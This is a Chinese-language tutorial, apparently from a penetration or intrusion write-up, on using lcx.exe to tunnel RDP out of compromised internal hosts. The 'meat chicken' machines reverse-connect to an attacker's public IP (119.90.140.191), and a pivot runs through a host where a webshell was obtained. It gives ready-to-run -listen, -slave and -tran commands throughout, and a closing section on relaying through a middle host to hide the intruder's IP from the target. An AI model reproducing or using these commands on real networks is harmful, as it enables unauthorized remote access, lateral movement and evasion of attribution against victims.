复现过程
在提权过程中,我们经常碰到这样的情况,查询得知当前服务器存于内网中,所以无法通过mstsc来进行连接,那么这种情况下,我们就需要用到端口转发工具lcx.exe
除此之外,还需要一台拥有外网 IP 的主机。这里我们把内网的主机叫做肉鸡 ,外网 IP 主机叫做本机
将lcx.exe上传至本机和肉鸡之后,首先确定本机的 IP为119.90.140.191 一定要是外网ip
然后我们在本机执行:lcx.exe -listen 51 3388 。
这条命令的意思就是说,监听本机的 51 和 3388 端口,并将两个端口互相转发,端口 51 的入境流量发给端口 3388,反之亦然。其中 51 是用于肉鸡连接的端口。3388 是用于我们的远程连接客户端连接的端口,为了避免与本机的远程连接服务冲突,选择了 3388。大家可以自行选择其他未占用端口。
然后我们在肉鸡上执行:
lcx.exe -slave 119.90.140.191 51 127.0.0.1 3389 意思就是监听机(肉鸡)3389端口转发
到119.90.140.191 端口51上
这条命令连接肉鸡的 3389 端口,和本机的 51 端口,并互相转发,之后,我们在本机(外网ip)的机器中使用mstsc连接127.0.0.1:3388就可以远程连接到内网机器上去。
也可以用其他的主机通过mstsc连接119.90.140.191.51:3388来进行内网机器的连接。
当建立正常连接以后,就可以看到lcx中转发流量了。
端口映射:
一:LCX -tran <等待连接的端口> <目标ip> <目标端口>
,假设场景,A外网机器,B内网机器,C内网机器,A可以连接B,B可以连接C,但是A无法直接连接C,此时,我们在B机器上执行,lcx.exe -tran 777 C机器的ip地址 C机器的服务端口3389
,此时在A机器中使用B机器的ip地址加777端口即可成功连接到C机器3389。或者是直接在B机器中使用127.0.0.1:777端口也是可以直接访问C机器3389。
二:那么此时有如下场景:
A外网机器,B内网机器,C内网机器。
A无法访问B内网机器,也无法访问C内网机器,但是B内网机器可以访访问C内网机器。
那么如果B的80端口对外网访问的情况下,并且拿到了B内网机器的Webshell,那么我没可以在B内网机器中执行
lcx.exe -slave A外网机器ip 51 C内网机器ip 3389
意思就是在B内网机器中将C内网机器的3389端口转发给A外网机器的51端口上
在A外网机器中执行
lcx.exe -listen 51 3388
监听51端口的流量并转发到3388端口
进阶篇 隐藏:
其实这里我们还可以使用LCX -tran来达到隐藏我们自己IP的功能。
假如场景如下,我们拥有一台公网的IP机器B,我们本机A可以直接连接到公网的机器B,但是我们想要入侵的是C机器,并且B机器和C机器也是可以连接的。如果我们直接用A去连接C机器,那么会直接暴露我们自己的IP地址,此时我们在B机器中执行命令:lcx -tran 777 C机器的ip地址 C机器的3389
然后我们在回到A机器中,使用B机器的ip地址加777就可以直接连接C机器。此时打开netstat -ano 查看的连接是B和C的连接。